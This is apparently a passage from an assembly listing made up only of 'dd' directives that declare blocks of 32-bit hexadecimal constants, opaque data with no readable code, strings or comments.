dd 21EF2499h, 0E78C8BBEh, 85404503h, 22A2E3ADh, 0C065C4ABh
dd 0F430869h, 0ACAE95ADh, 0B6B70862h, 0B4843B0Bh, 8111981Ch
dd 0F8177616h, 9BB57EC0h, 0C456DB7Dh, 19F2254Fh, 0BDE5EC86h
dd 0ED2B8AEAh, 0DBA37928h, 4FF33A95h, 3F04534Fh, 0F25D8458h
dd 9B41A21Ah, 386BB03Ch, 6F7BEAC9h, 74197062h, 0B444F99Eh
dd 0BF545E33h, 0C97F5160h, 0EABFFAEBh, 1DA06C74h, 25FB337Bh
dd 82FD3894h, 89065548h, 0FEA40314h, 0F72DCED3h, 4BB04F48h
dd 0BB14AAB3h, 237E1D1Dh, 77CC7477h, 4F06B5F2h, 7DDF8AC4h
dd 361479EEh, 0D92FBEA7h, 4CED467Eh, 51FF3638h, 0E7085749h
dd 0C0D35AC3h, 0CB46C936h, 5036CA68h, 0C9978CDAh, 251D7C79h
dd 71DE5E72h, 0C308D0C1h, 229F233Bh, 0ECF6958Ah, 57A46FDBh
dd 0ACCF1E00h, 933A9D0Ch, 9C5D3F36h, 30847E91h, 8E8127A1h
dd 0F676BD68h, 0B380EFF7h, 881C177Ah, 24901E8Dh, 0B37101B5h
dd 64605653h, 0C9987A11h, 1ECDC6DAh, 28E0037Dh, 63EE3AFAh
dd 643B468Ah, 0FEFE5C05h, 0AF6AF037h, 4824C640h, 2402A681h
dd 87F10C7Fh, 7FB5386Dh, 4C70D3B6h, 60D41AC1h, 9A5571F1h
dd 79DB0153h, 1AD13029h, 0F78D5C03h, 49E1EE51h, 2ADF0936h
dd 0B0A76722h, 69B54441h, 8BD3B78Eh, 0ECDF2C2Ch, 168E36E7h
dd 0C0027A32h, 758DA75Ah, 2137AFAh, 6534A3BCh, 0D52DCC42h
dd 5FA3198h, 8D0D5C42h, 2B6F8B9Fh, 0F648A7A5h, 152BD0BDh
dd 497CE2EFh, 7A11ABB0h, 0E845F0F2h, 0B55CBB47h, 61A05956h
dd 0A1C6A73Ah, 8E34FCC0h, 0EF58322Bh, 0C51A9F9Dh, 0A45CA9E1h
dd 50DA6E5Eh, 5DA940A5h, 0AA6AB9BCh, 0DDB4F6ACh, 2B73D02Ch
dd 33118AE3h, 72DEBC89h, 0AC709977h, 0F1C0AFACh, 8F36B5C6h
dd 2CD42392h, 0CA71D0CCh, 680F6E6Bh, 5AD0C09h, 5C19FFF7h
dd 70C39ED1h, 72DC4FE1h, 875642FBh, 4502CEFFh, 0D22DDCF8h
dd 31913A16h, 98FBB791h, 0E343F5F6h, 4EB0676Dh, 0B91B87BAh
dd 5101A18h, 65DC7979h, 0C84BDEC6h, 2D9B3C36h, 9C868B87h
dd 945E6F2h, 76AB677Bh, 0FB5FFFDEh, 219C392Bh, 9FF3BF93h
dd 0E159DAF1h, 49B85C42h, 0BE30D28Eh, 0F651108h, 64C07C5Bh
dd 0E43FD8CDh, 27980A46h, 0B2E29282h, 0A4AE9E4h, 69AB767Ah
dd 0B904DED9h, 379B2F19h, 9CCF9F83h, 0F658FDE7h, 4AA57533h
dd 9911A7B1h, 37E1E01h, 3BC06369h, 0C723FF9Bh, 2C833937h
dd 99CDE790h, 1772F1EBh, 78A54652h, 0CE0487BDh, 3293371Dh
dd 87E88FB9h, 0E74FFBFFh, 30994451h, 8801B196h, 3F761E06h
dd 9D46A64h, 0E13AC8EDh, 10892721h, 0E2EC858Ch, 0CD53E3C4h
dd 71B0404Eh, 0D70B87DBh, 34611139h, 0B09DBD9Fh, 0FA76EEFDh
dd 57B54D52h, 0B418B49Bh, 6E55161Dh, 58C67448h, 0CC3BDDD5h
dd 34840827h, 8BFE8A82h, 8269FEF7h, 4BB24064h, 0FB13AFA5h
dd 15640C37h, 0B8FB909Dh, 0E359DC9Ah, 44B75C6Ch, 0BA03B785h
dd 15527432h, 7FD64465h, 0C53FC6DDh, 3C8B0A4Ch, 95F98FBFh
dd 0C147E7EEh, 66C7675Dh, 0D032B7A7h, 386F140Ch, 94F990B7h
dd 0ED5CF1EEh, 77B55553h, 0A01D90D7h, 16781C22h, 4BC7647Ch
dd 0CE34C2D9h, 339D213Ah, 87E0ACEBh, 0C746E8EBh, 40A74B4Bh
dd 0A00A88C4h, 3D6A2E06h, 85D36172h, 0FB729EDCh, 52B46A4Bh
dd 931C96AFh, 737D1B1Fh, 7ED3655Bh, 0CB3FDBF7h, 3B813102h
dd 0A8E98385h, 0E25CC48Ah, 4BB87946h, 0B114A3A6h, 0F773463h
dd 8ED06762h, 0F20792ADh, 38AB4D4Eh, 0B513A989h, 47690A12h
dd 69DD5927h, 0CA07B4C6h, 25B53631h, 0B9908A81h, 0E168F9EEh
dd 518D4E45h, 0A100BAB2h, 12621211h, 9BF60443h, 0F02AE4EBh
dd 508E1058h, 0A51BA9B4h, 1792878h, 77D67050h, 0D53ADFE7h
dd 28990751h, 0BE92818Bh, 0F951E2E2h, 51AB447Ch, 0AD2DAC88h
dd 34090D09h, 8AD3746Ah, 0F104C8C1h, 3A802D52h, 0ACE9AD8Ch
dd 1A773B1Ch, 67F21B72h, 0C433DCF5h, 3CA72221h, 80FD8586h
dd 0F957F6E8h, 42BB407Fh, 0B123CCA6h, 26E1825h, 69EF6D70h
dd 0D046C0CDh, 5E96004Bh, 89E494BDh, 127C1108h, 5ABD6F6Bh
dd 0D728FAC1h, 1F9D2332h, 88F69B82h, 0F376E1FDh, 6BA57E2Ch
dd 0B20FA8BBh, 7693802h, 6FC56071h, 0D233E8A2h, 55B33421h
dd 0BCCD96B8h, 0C431A28h, 15D07270h, 0C314CEF8h, 39BF3631h
dd 0A096909Dh, 0E944DCFBh, 46A06143h, 0B41CABA9h, 66033Ch
dd 76E50A68h, 0CE2DD7ECh, 49852012h, 0DBED8DB7h, 0B71F432h
dd 75DA6A75h, 0C635EDC3h, 3D9B2C21h, 80FA93BFh, 0C335EDE2h
dd 4FA6635Ah, 0B123B6B9h, 0B6B191Ah, 6CCA654Eh, 0D528C5D6h
dd 3E89292Bh, 0AED39791h
dd 2C47F514h, 62B46D72h, 0D010D0D9h, 2B89353Bh, 9CECA5F3h
dd 0ED5FFBC4h, 78B15740h, 0A718A2B8h, 26603A0Dh, 57C47F66h
dd 0CC23DBD1h, 6CBF4724h, 0BCF1B7A1h, 0B56F60Ch, 77AD431Ch
dd 0D92DD8CAh, 27993034h, 9FF69BF4h, 0FB54F3FCh, 58B05330h
dd 0BE01BEA5h, 97E1609h, 77AE6864h, 0A33DC9C3h, 24872D37h
dd 0BDE996E1h, 7C50E614h, 7CB64F54h, 0C33AD0C8h, 2792301Bh
dd 9CFBB190h, 905DFBF7h, 48A25B78h, 0BF16BCBCh, 2A65152Bh
dd 63C16065h, 0C029DFC4h, 358B3D16h, 0B1CEE687h, 1357E1F4h
dd 6A8C567Bh, 0B821D1DEh, 308A3310h, 87FE9484h, 0FF5CE8DBh
dd 6FBB4467h, 0B81A9ACFh, 0F7C0308h, 66D55D7Fh, 0C924EACCh
dd 6AA4A23h, 0A9D8A6B5h, 3A08B7B2h, 49C46F53h, 0D522A7D9h
dd 1D9A2D35h, 0A69C8292h, 0E275FEF0h, 4A935956h, 8C0D91A9h
dd 0C76206Eh, 7AD4655Dh, 0CA2FFBD0h, 3BA92E32h, 84DBE8A5h
dd 0B42D5E5h, 69A94576h, 0FB1A84D8h, 5DE9DC5Bh, 9ECC34D2h
dd 7C3B9A97h, 32FD74B8h, 0CA1CD5B8h, 7472321h, 5A7E9A0Bh
dd 0FC1F7A20h, 17BC0C23h, 7E1F16B5h, 228B7A8h, 8B3929E6h
dd 0BC53EE1Ah, 9909A4DEh, 511B70ACh, 0A53CAB8Ch, 33B069C8h
dd 4488D8BEh, 6F25583Bh, 88BCD295h, 0AA50AF3Dh, 27BA251Bh
dd 3100EAE8h, 4FA288ECh, 20AF664Eh, 0D464D3C1h, 5C68335Dh
dd 0FAFFAA95h, 0C93DF69Bh, 0A0246A6Ah, 0D348FB5Bh, 0E4E92C2Bh
dd 0E8438DFh, 0F0254F2Ah, 5C6FC3C6h, 0EB6FEBDAh, 952A1C05h
dd 0F3CB2716h, 129A9794h, 727EE7EAh, 732DFFCFh, 9A3E86A5h
dd 0C8236FD3h, 44FC5327h, 0FE17465Ah, 10AE919Bh, 511159B1h
dd 0CE7BB0B0h, 0E9BDC06Dh, 9CA70507h, 16212828h, 49993A3Ah
dd 5028E6E6h, 89628401h, 2CF1295h, 0D0DE3D27h, 298425C4h
dd 0B746BFFCh, 11B7FE40h, 2E09B3B2h, 7CE8D7BDh, 6746DDEDh
dd 0B80D6C0Eh, 749F7B29h, 92399797h, 4D07F09Bh, 0FA230332h
dd 51D75EBBh, 64E00F16h, 827DD818h, 751B7A90h, 0FF384516h
dd 0B066AF06h, 0D879AC3Bh, 0EBA1EA6Eh, 0A9E2DCDCh, 26E72C0Eh
dd 0A2660D44h, 78CEE2A2h, 0DF6B0533h, 878C2667h, 3AC6410Eh
dd 1B22DEF1h, 77777D13h, 604429E8h, 344D48B0h, 26062192h
dd 0EC93F2E4h, 896A4006h, 9242127Bh, 0C55CD12Ch, 6206D3EDh
dd 8A230704h, 9E45A5A9h, 0F0C8BA3Ch, 2A4B54BCh, 726A1CDCh
dd 0FF49F95Fh, 0BD9E3B77h, 1C23DD04h, 0B9C43F7Bh, 0D963D1E4h
dd 0BD2FD046h, 0C65DE054h, 0EF07AEE4h, 31850190h, 1C918EA2h
dd 3B2344AAh, 0DA69E0B7h, 0BB1C29F2h, 394A8970h, 375FB986h
dd 90CB5F5Ch, 678F44B3h, 0BC1F651Ah, 0A433C72Dh, 39C4AC88h
dd 0A6ED1EA1h, 2AAE153h, 211AA6A3h, 0DFE32ACh, 201F6ADEh
dd 0FA204F50h, 16B63966h, 0B4E23EB8h, 0BD785855h, 0EF96F7FAh
dd 8C30FBC4h, 0BF2D312Eh, 0C85FE2E2h, 0E28090E2h, 3AA0E23h
dd 0A122F7A4h, 3EE641AAh, 88D1B4DFh, 0EFDED77Dh, 178F323Eh
dd 22D1728Bh, 52FA5852h, 0F2FDA7A2h, 0E634FEC0h, 6BD3322Fh
dd 38E5309Eh, 0F10E5D41h, 5FD8FD8Dh, 0A621FCF5h, 68E74642h
dd 0FDA0571Fh, 8422817Ch, 28ECC689h, 76D8E5B9h, 47184C23h
dd 9B4C7CA4h, 0D867C792h, 5941CC66h, 9371E0E1h, 0B87AAEEEh
dd 0C838F35Fh, 2E4A998Dh, 17BA0313h, 53DDA08Bh, 7C2286E8h
dd 0D9F28B1Dh, 4407ADD0h, 4AC0BF3h, 0A2C9A8A5h, 69A269C1h
dd 0ACD5041Ah, 0CB70D90Ah, 4D64906Ch, 0CF3BF202h, 0F74B9A8Bh
dd 6D20DDBAh, 1DDBE5D2h, 43A48384h, 5CC35414h, 0AD233330h
dd 4C1E5C69h, 0E39A6C7Bh, 403B97A4h, 0AA04CA64h, 33FBDD0Fh
dd 6511706Dh, 7AFFE8Fh, 9F722BA8h, 0C2AC5933h, 6488E6DDh
dd 7E258460h, 6EE31C9Fh, 87E1F94Dh, 11B0140Ah, 3B10D882h
dd 0DD38DE53h, 4586F818h, 9E2282D0h, 47D3E491h, 33E90F3Ch
dd 19C8A368h, 0AAEB4A47h, 0E188E755h, 2D76BB03h, 99CB7569h
dd 0BA61C018h, 0FBF798D8h, 7193F6C4h, 933A990Fh, 0C3AD1708h
dd 0C14FE87Dh, 6C13FEEAh, 29BCBD0Dh, 9A6E8D8Ah, 30892C69h
dd 0DE259790h, 15BF3A3h, 75E5DB5Fh, 0CA17B5CAh, 290321DDh
dd 82B2D3C0h, 6A7C5CF0h, 88E83736h, 0D076F2C3h, 91469186h
dd 3B9E789Ah, 0F98F9DACh, 0AEBD1C1Ah, 0E48AE9EEh, 0EC5FE8C1h
dd 7BA74A4Fh, 6CF63DC0h, 0DE015072h, 0CAA8893Ch, 6CB91253h
dd 65DA0914h, 0D274D6BDh, 264425F7h, 0D826ED41h, 26509F82h
dd 78F53DD9h, 2FB8BAE9h, 0D679D9D3h, 0B4387774h, 0BF54EFC3h
dd 0A22665E7h, 0CBB4336Bh, 19FE649Ch, 6CE55B7h, 1781D6D7h
dd 763229FEh, 0FB413FBh, 40D0EDB0h, 4ADF5333h, 0D8CF5660h
dd 33A189B9h, 23F8176Ch, 4CEE3FC7h, 5F335225h, 792AA5F3h
dd 9A0FAEDEh, 7E2A9B0h, 5079D9E8h, 73284741h, 98DE179Dh
dd 5153B2A2h, 7BDD39DAh, 0B54706ECh, 0EE5AEECEh, 74964C4Bh
dd 0AB14BFADh, 2D690500h, 8FCC6F64h, 4972A0E7h, 0CE8DF1B7h
dd 37FF8900h, 775A1374h, 7BEA40ECh, 14E039AAh, 0F5F3624Dh
dd 0EA90EFFAh, 76638906h, 4333D4D6h, 8E6D456Dh, 61076664h
dd 0B928AF64h, 7871099Bh, 0DB4A2691h, 0E4EB5021h, 211C4B48h
dd 0EDE81F7Ch, 807B2F26h, 6981DF51h, 0F35672E6h, 0C3F4F09h
dd 26CE2C8Fh, 0E403CAADh, 34096864h, 6A580D69h, 9D758801h
dd 0B1EF1CB5h, 4509CF95h, 762E4D4Eh, 2387969Eh, 52D8B884h
dd 4108A652h, 0ECFEA0BEh, 3FCD97E7h, 27E01F18h, 0E9285937h
dd 9C5B6A56h, 30993BB1h, 53D35AA1h, 63E47314h, 0D6122059h
dd 771E2AFEh, 2F3C7A18h, 0BE2EE3F8h, 226DA800h, 495C4DCh
dd 8B3393CFh, 28198EA1h, 7161CDC9h, 10817529h, 5C21634h
dd 0C847A6A3h, 10C4D1BFh, 8DD4E1EDh, 53C9EA84h, 56351D29h
dd 3898B98Ah, 83FA2004h, 65B6877Ah, 0B8B98BC5h, 2A7F601Eh
dd 0C6174F09h, 17683F0Dh, 0F0490F72h, 89E54CFAh, 4F6D614Dh
dd 2880BBFAh, 763DD2F7h, 15F11AADh, 36683064h, 1F71AA56h
dd 0D0227FFAh, 635A4A0h, 1D660918h, 0BA70FFFBh, 51BB46EAh
dd 38AC3B37h, 91799311h, 4F644942h, 0EF7B1C20h, 399708BDh
dd 9EC02F2Bh, 856DFB35h, 38AB0A56h, 0F1F2A7F0h, 8E3695F9h
dd 0AE2B64AFh, 0C941C5B4h, 4CFEFB95h, 89520C38h, 0A27ABCDDh
dd 3017BFC0h, 227ADF64h, 48A60B81h, 72C1102Ch, 0E05ED7B9h
dd 3269A407h, 7A99C8D8h, 0BF07D117h, 2E35F530h, 0CA18819Dh
dd 442DFA94h, 80270D39h, 0A37B9AEDh, 40839CCFh, 8EB41AB3h
dd 4C173680h, 8C3D212Dh, 0B76F92E3h, 64CED9D3h, 0F613F9C5h
dd 5DAD68B7h, 0A6D6051Ah, 7EF8EE9Dh, 69214027h, 32B55A81h
dd 3167552Ch, 41DA7972h, 0EFC06B69h, 568884B0h, 0E02189DCh
dd 0A5143A36h, 4AF5D69h, 0A2CAAAA5h, 0BD380D6Bh, 0D1873602h
dd 0FC5F1E5Ah, 1937B26Dh, 628A2531h, 0C92FCDC6h, 2D12E23h
dd 8CED8F90h, 5014B6EDh, 37A84F7Bh, 0EA61F191h, 13AB0D03h
dd 81DFA7BAh, 0FC5FEBE7h, 41B77447h, 0A11AA6A4h, 3767173Dh
dd 7EC3755Fh, 0D52BCEC0h, 2284181Bh, 0A0ED8D96h, 0C42E5E1h
dd 7D957853h, 0DF0FA0CFh, 2B723A2Fh, 84F4BAA5h, 0F85AEDF2h
dd 5DB66859h, 930FB6BBh, 3750723h, 6EC0706Ah, 0CE20DCFBh
dd 19882020h, 8BFE9CA7h, 0FB41F5EBh, 6E874147h, 0DF0AAECFh
dd 3568143Ch, 0B4C28E95h, 9648E8F0h, 679C7664h, 94259783h
dd 0C7C392Eh, 63C07D62h, 0FD0CDBCBh, 288A2322h, 0A6D7999Fh
dd 0E65BFAF3h, 4591524Ah
dd 0D10DB0B3h, 24473D31h, 88F0928Dh, 0CC3DEEFEh, 50BC4858h
dd 0A0179FA2h, 71147500h, 4AE74312h, 0DE21AEBFh, 24863622h
dd 8CF885C4h, 0F546E7FAh, 4CA10947h, 8E65ABA5h, 7E482128h
dd 95D78B9Eh, 0E04FFCF1h, 728F6E31h, 9F1AF88Ah, 53593F39h
dd 62DC6232h, 0A461C4C5h, 4BF0A71Ah, 68D0ECECh, 0B70B6C67h
dd 4B4CEE28h, 0C266F5D0h, 4C29F69Ch, 15630131h, 0F111EB81h
dd 0D96BB622h, 8F7BEAF2h, 13744DBh, 2F36703Fh, 8C21AE4Dh
dd 6003ECDDh, 9C04EEDDh, 0EE88DB89h, 2B4EA78Ch, 4C68F7EDh
dd 512D51E1h, 0B82DF902h, 620C2D65h, 0DBE18EC6h, 28C85115h
dd 1D1B4A54h, 12B91912h, 89C34AE5h, 0A4F4637Dh, 0EB91F067h
dd 9C860B01h, 4C9D2C1Ah, 3B64A3C7h, 52242EF0h, 0DBDA8603h
dd 0EC31A7A8h, 3AE249D6h, 9B398DDBh, 3A513857h, 0E2EE517h
dd 0BA588798h, 24E22192h, 847BA2EDh, 75CE6F74h, 17E4F7BEh
dd 0B1AC4EC8h, 8BDA9664h, 0A8070Fh, 0C106E2F2h, 7FCD1170h
dd 26809390h, 473260EFh, 0EDFDF318h, 7D4474Ah, 4FC77AACh
dd 0ED95F798h, 1ECDC78Eh, 28E0030Dh, 0C66DC121h, 364F3667h
dd 53EC5E4Ch, 0CB03F9F1h, 0C3B24303h, 0EAAA0948h, 7818967Bh
dd 5DE11C19h, 0E00EEAF9h, 0C5070154h, 0EEA5DF18h, 0DD625BBCh
dd 43803347h, 0C76EA5CBh, 9A5A2B68h, 3281F893h, 5FBF25A3h
dd 0B0B56735h, 0EBAE1E4Bh, 0E2ADF27Ch, 7CBE2D3Dh, 0AE33E8B7h
dd 0F95855h, 9A030AA2h, 7234A3BCh, 1AF9FCBBh, 0C86426CBh
dd 35586C69h, 31985842h, 0ED04E38Ah, 7F73BA42h, 3483D2F3h
dd 7A218077h, 65CF6D6Ch, 0D328D5D1h, 0ADAA5917h, 0C0BC2F66h
dd 6BB01D91h, 24D30204h, 9BFD42FDh, 0EE0E5D73h, 3480FC8Dh
dd 37B6F9A5h, 3FD76A02h, 0DD808B73h, 0CEAF817Eh, 18F00643h
dd 6BE031E0h, 0BBFB6A7Bh, 0E670508h, 2BB352F4h, 2CD40310h
dd 6CD4539Dh, 680F5E4Bh, 25C99984h, 0F71AA996h, 4082462Eh
dd 0DE878CB3h, 0E9DC027Fh, 19F10CFCh, 0C2047D3Fh, 0C371D67Ah
dd 0A099C8D5h, 25BA90F9h, 2DE51495h, 9B22879Ah, 0FCEF3D3Dh
dd 69E21EFh, 79DE55FFh, 87E97869h, 0EFA81B67h, 13CC8380h
dd 0E53DDEECh, 884DC336h, 19789B59h, 0A59AC9E3h, 790BC8C0h
dd 0D129C76Bh, 0D93F5708h, 3E47705Dh, 4D473A54h, 62B3545Ah
dd 72FF05C3h, 0BFFFB0E3h, 8C1E6CB5h, 9E04DDE0h, 0B950AAF0h
dd 288380Ch, 711633C4h, 9209A8DAh, 7E866762h, 9C258280h
dd 4727E491h, 9D4F0F3Ch, 0A67D8084h, 36F4A286h, 0E1840F90h
dd 37758582h, 4C85746Ch, 0F625EEF4h, 0C2005E17h, 0F5ACD7B9h
dd 933A957Eh, 63906434h, 0AF23A0B4h, 2D760703h, 9C4E400Dh
dd 0A77E8673h, 0BB59C6DBh, 8A89D8C9h, 8027864Bh, 0E2C54E77h
dd 8B4ED82Bh, 8B95D25Ch, 7A9DCCE5h, 0A5165D25h, 658B6E36h
dd 0FB93402Ch, 0AA977341h, 0E4279C03h, 0F94F9EB3h, 10EC261Dh
dd 0E48881B5h, 51D70785h, 0E03C38CBh, 8FDE413Fh, 5B01504Bh
dd 71F6F688h, 683C9B89h, 4F650ADh, 0D27B3ED5h, 23427473h
dd 3EF8515Eh, 0E714819Ch, 0DD114D00h, 0E6BBC6A8h, 842EE014h
dd 944A2625h, 0BF54DB74h, 0F0BFEC39h, 139FCED2h, 66C26D10h
dd 36DB36D2h, 9A3180D7h, 26533B3Ch, 43F8573Dh, 0ECC44FB0h
dd 0CFEF7E62h, 0DD08E42Bh, 152A898Bh, 23C8224Fh, 35D049C4h
dd 603527Ah, 0D068BD8Dh, 0CFD79EADh, 0B422C3CAh, 0E5561465h
dd 0F7177776h, 10B61704h, 0AFC35E30h, 23A5504Fh, 0E98EECEDh
dd 0AB811E75h, 0E04B2918h, 0C267C755h, 0AD1EF33h, 685C5001h
dd 9B718C53h, 4D86FEB9h, 0C5F4B3D4h, 0E1E57977h, 11883B7Ch
dd 12D65659h, 4CC372F6h, 67B99AEDh, 0B80E270Eh, 0B0337B29h
dd 0C359E47Fh, 0E508A6E1h, 0FEA5058Bh, 174FE214h, 0B6D1BF3Dh
dd 0E75E7B5Fh, 8B99BD78h, 13BA2938h, 0B13DB6D9h, 0D80A563Bh
dd 0EBA2DD2Bh, 86CF770Fh, 26CF4DAEh, 51E659C7h, 623948C7h
dd 0ACF51669h, 0B1F0315Fh, 0FA66420Eh, 0D9C05AD4h, 0CB937D79h
dd 138C3BD3h, 0C0B1B005h, 2608A9A4h, 0EC94F37Bh, 3D4BAD3h
dd 0D8840B1Fh, 0F541FD5Dh, 0B1B6E766h, 0B1A93824h, 68144DA0h
dd 0AE69BCC0h, 0D9B1C063h, 63777E10h, 46BD1C18h, 73CF46E6h
dd 0C2F8677Fh, 6081D0B4h, 0BB03DD1Bh, 9EDE602Ch, 0E22A46C3h
dd 6CECAA73h, 13AB4307h, 0D555A4E8h, 18A14F43h, 0D56361D5h
dd 29289FBAh, 59A5912h, 3E0B8849h, 60D5A7E9h, 0EE8A1DF1h
dd 0A211938Fh, 7F2491Bh, 0FD4FE0EAh, 4B28494Dh, 7A8E723Eh
dd 0AA3B8283h, 73AF0A0Bh, 24D4E2FEh, 490A65E9h, 0BA7B9F1Ah
dd 0DE5CBBB7h, 2AD0955h, 0C356630Dh, 0BE94A0h, 2AE3271Ch
dd 0D393CFA1h, 3703A402h, 3AC0EEFh, 0C56C8EA4h, 0C1B04648h
dd 0ECAF064Ah, 76E6027Dh, 7FCBF44Bh, 0B55DBCB0h, 7223E7DBh
dd 0A3CFF7C3h, 0A2F7006Eh, 0EB51331Fh, 7CFC84B2h, 673F4295h
dd 119FA98Bh, 2F4AA995h, 0FC6B9CEh, 0B74BCFE0h, 2875D37Eh
dd 347CB5E3h, 4EDDBD89h, 0C2D32557h, 4414067Fh, 8F07BA6Dh
dd 82273980h, 2212C1B8h, 97EF9931h, 0E6B97F68h, 0A23C27AFh
dd 8F62A2AFh, 630B2BCAh, 7C14AF80h, 0EE4585EEh, 480C0751h
dd 64D1EDCDh, 9D2779F5h, 9138A786h, 1DBE1F45h, 3473D2BBh
dd 593D19F9h, 0F8128E0Ah, 0A44C9B89h, 0C42D5831h, 0DFB7C644h
dd 7D258480h, 343DA7D8h, 5160BF8Bh, 0AA01A351h, 0F39F38ABh
dd 0BFC62D19h, 0D1813602h, 0FC58DE5Ah, 95EAF26Dh, 70B8B04h
dd 20C4ACA8h, 42DB7A45h, 1FDEE789h, 4E0AD814h, 1404A61Fh
dd 0B9616438h, 63F755Ah, 0A49F91A7h, 925298FFh, 79183733h
dd 0E684412Fh, 9390725Eh, 3A351FF3h, 2F4EADADh, 73DC4CC2h
dd 0EA0465E4h, 0F227B6B2h, 2CF537B5h, 0D03090BDh, 0CDFF0F5Bh
dd 0F6ADD0ECh, 9BC46214h, 31DD38B1h, 3076BFD2h, 5D2474C5h
dd 1B27EE0Eh, 2B4F9E87h, 0C1E2B3B1h, 0E38AEA0Fh, 0B133020Dh
dd 0D7F52512h, 0EC3201BCh, 0B050A0Ch, 0C8994804h, 3C39BA9h
dd 33EA12C2h, 55781651h, 6F1577B7h, 893ADB23h, 0AA609FB2h
dd 2FBF1C1Ah, 0E584EAF7h, 0C6BC77D6h, 0A5C71608h, 0C0E0CC01h
dd 0D502615Ch, 0CAAFDD78h, 0D3B65F9Bh, 55888201h, 14BD7D6h
dd 80E1B477h, 8B3DF2E5h, 0AC618080h, 0F1D305C6h, 0E78CF026h
dd 44295BBBh, 0C33FD6D1h, 0F042414Ah, 51C06251h, 5A6B448h
dd 0C9B3AB7Eh, 746B3423h, 9CA9DBCCh, 703FB71Dh, 4F8F95C4h
dd 573CD8C6h, 0C8B9513Bh, 9B8CE096h, 0BB600155h, 27DD6AA3h
dd 86EBD587h, 0B9F39C2Bh, 7899C022h, 9B70AF85h, 7C5564FFh
dd 5EF2D6FDh, 741978CFh, 2074D626h, 9F7A8480h, 7DDC617Eh
dd 0A1FBA0CDh, 0F841E2F9h, 4BA20448h, 0C965A8A0h, 76F5947h
dd 9BC96270h, 0FF30D2BFh, 4D881D00h, 0F847ACAEh, 3E6F3457h
dd 62D57664h, 0DE3F9BD2h, 3FDB3C37h, 82AEDF8Dh, 0A90DBFB1h
dd 52A9455Dh, 0E45BF4AFh, 561020Dh, 0CE9B716Bh, 0E430D080h
dd 18DF2452h, 0BC0DB1B9h, 46270E1Ch, 3C872435h, 0D02AD1DDh
dd 43C8303Fh, 676D79E5h, 0BA018B00h, 0A4819E2Bh, 6B9ECF21h
dd 5C8B6013h, 6EDA4C70h, 158650D4h, 206EC9C1h, 6980EFECh
dd 72F7FE46h, 0FAC9B5EAh, 0C7768735h, 4EB0DDA4h, 324B2CD5h
dd 0C470AC51h, 0C0A57668h, 2E93E786h, 640B684Bh, 1A9506Dh
dd 6EAEFEA2h, 481BBCBDh, 0C10C6BFDh, 0F51F4E4Bh, 0DA961D2Dh
dd 806634F8h, 0D75CA4A9h, 0EFEB7928h, 0AB862702h, 0DA2D301Dh
dd 8E50E6Eh, 0D8816083h
dd 29A27F9h, 93982D5Fh, 5CD9E888h, 0A1BEE7ACh, 590C7D0Bh
dd 62E221B0h, 0C075865Bh, 24F96488h, 64AB161Ah, 0DEB15591h
dd 2AD2011Eh, 8D378BF6h, 5B3F1869h, 3F94954h, 5E6D8CD0h
dd 3E6BABDh, 0DCCEB697h, 2A1C9209h, 63BF4E53h, 0E61D86B3h
dd 0D7F55906h, 0F6808B2h, 0BE66116Fh, 1838321Fh, 368E5025h
dd 5A0DE695h, 47E2425Fh, 5C6E2CAAh, 68DAB9BCh, 0D2CAB6A3h
dd 84DC9DFAh, 5B9722E3h, 32528E8Ah, 0AC04A446h, 0A5CBA7C9h
dd 89B29ADDh, 1F2BCCCEh, 375F3816h, 0EC009194h, 0FA52F1F0h
dd 0B5A27B95h, 0A8E84744h, 217A1AB8h, 7C238297h, 0F4407D1Dh
dd 0B76E9483h, 54FD69B1h, 0C0669CF5h, 0A0142318h, 0A4B13401h
dd 98CF51ECh, 68105F5Ch, 0A846077Fh, 4DB45559h, 41E94956h
dd 92B86484h, 75A18CDAh, 91C2211Fh, 665C82E5h, 5C6DD3Fh
dd 0B1FF6B3h, 66389794h, 0ED62371h, 497CD2CFh, 6A117086h
dd 5F34DFDh, 0A5AD2FA7h, 3C6B4946h, 0C0A7C6C3h, 0AAA18BA1h
dd 0F3C3221Fh, 469F421Bh, 5637DF55h, 0B610FAF7h, 8273139Dh
dd 2BA4F718h, 0C89F13E3h, 219BB96Dh, 2335861Ch, 4E4D9C99h
dd 0BC14B711h, 0E188480Ch, 58BB0E82h, 1FC41310h, 8A51EB20h
dd 0AB91B65Bh, 71930407h, 933A9919h, 0FB82BFh, 90FED4E1h
dd 84CD7153h, 0F64EED5Ah, 0EDCFD0D8h, 44EC2B6Ch, 0B4776305h
dd 0D33FC80h, 2DD52494h, 0AB18C2BEh, 5906ACE5h, 526EABFAh
dd 97D89B29h, 6C869CC5h, 4247DA81h, 6E96F4FCh, 82D4110Fh
dd 56B0353Ch, 0A33DA4B5h, 6FD01618h, 0C82B8BCFh, 1987A833h
dd 344B81EBh, 5B013FD9h, 0D9D83AFCh, 0B71CBBBAh, 0BFF272B1h
dd 57FCC69Fh, 70254454h, 7EBB5828h, 0A31A26ADh, 0CBFE0F4Dh
dd 6D8BB28Ah, 0B419A702h, 29852725h, 8C3480C3h, 7F8905B2h
dd 0A39D719Ah, 0A93A211Fh, 39DB3A0Ah, 2B844353h, 51A38A8Ah
dd 0F0B42323h, 9D7DDD25h, 555AB14Eh, 178CDBDBh, 0B601441Ch
dd 2845AA27h, 4C65F4F4h, 6F3371F7h, 96F35100h, 9D8A619Dh
dd 0C8DD0C0Bh, 0E556BC4Dh, 74AD8876h, 0EFB62524h, 9E787F24h
dd 0B444DD4Fh, 168EDDC2h, 0B71C883Fh, 0B1357F28h, 0C257EA98h
dd 5002C1E0h, 3EA30231h, 9B41A076h, 39B5633Ch, 0FC913658h
dd 84427947h, 693DD61Ah, 2A5584A7h, 84709190h, 2B9F1F12h
dd 0B83BF50Eh, 35F1E829h, 0B669E2C6h, 1D860078h, 8FC90826h
dd 7423B1EAh, 0C61EBFF9h, 8C96D8AFh, 9DE38485h, 0ED45E6C4h
dd 9DA898D2h, 5FC10229h, 0EB92D456h, 2CD8EF8Ch, 5331D2D5h
dd 0E02F41FEh, 9DBCE555h, 74A7362Dh, 1C23ACF0h, 49E14404h
dd 0D8E889FEh, 0FD1E8279h, 41BC71D3h, 18CC47E4h, 0CDF7667Eh
dd 0D215FB2Bh, 0D60DAED1h, 0E1532C5Eh, 386524CCh, 1CE39599h
dd 6156F7FBh, 9E321D62h, 8A0F433Fh, 0D981CF64h, 770F967Ah
dd 347F1C18h, 0B26A01B5h, 4C105753h, 2F95F4F0h, 0DFBE92AAh
dd 61C3C08h, 0BA6E354Ah, 64E40B7Eh, 8AAA0905h, 0C27782F6h
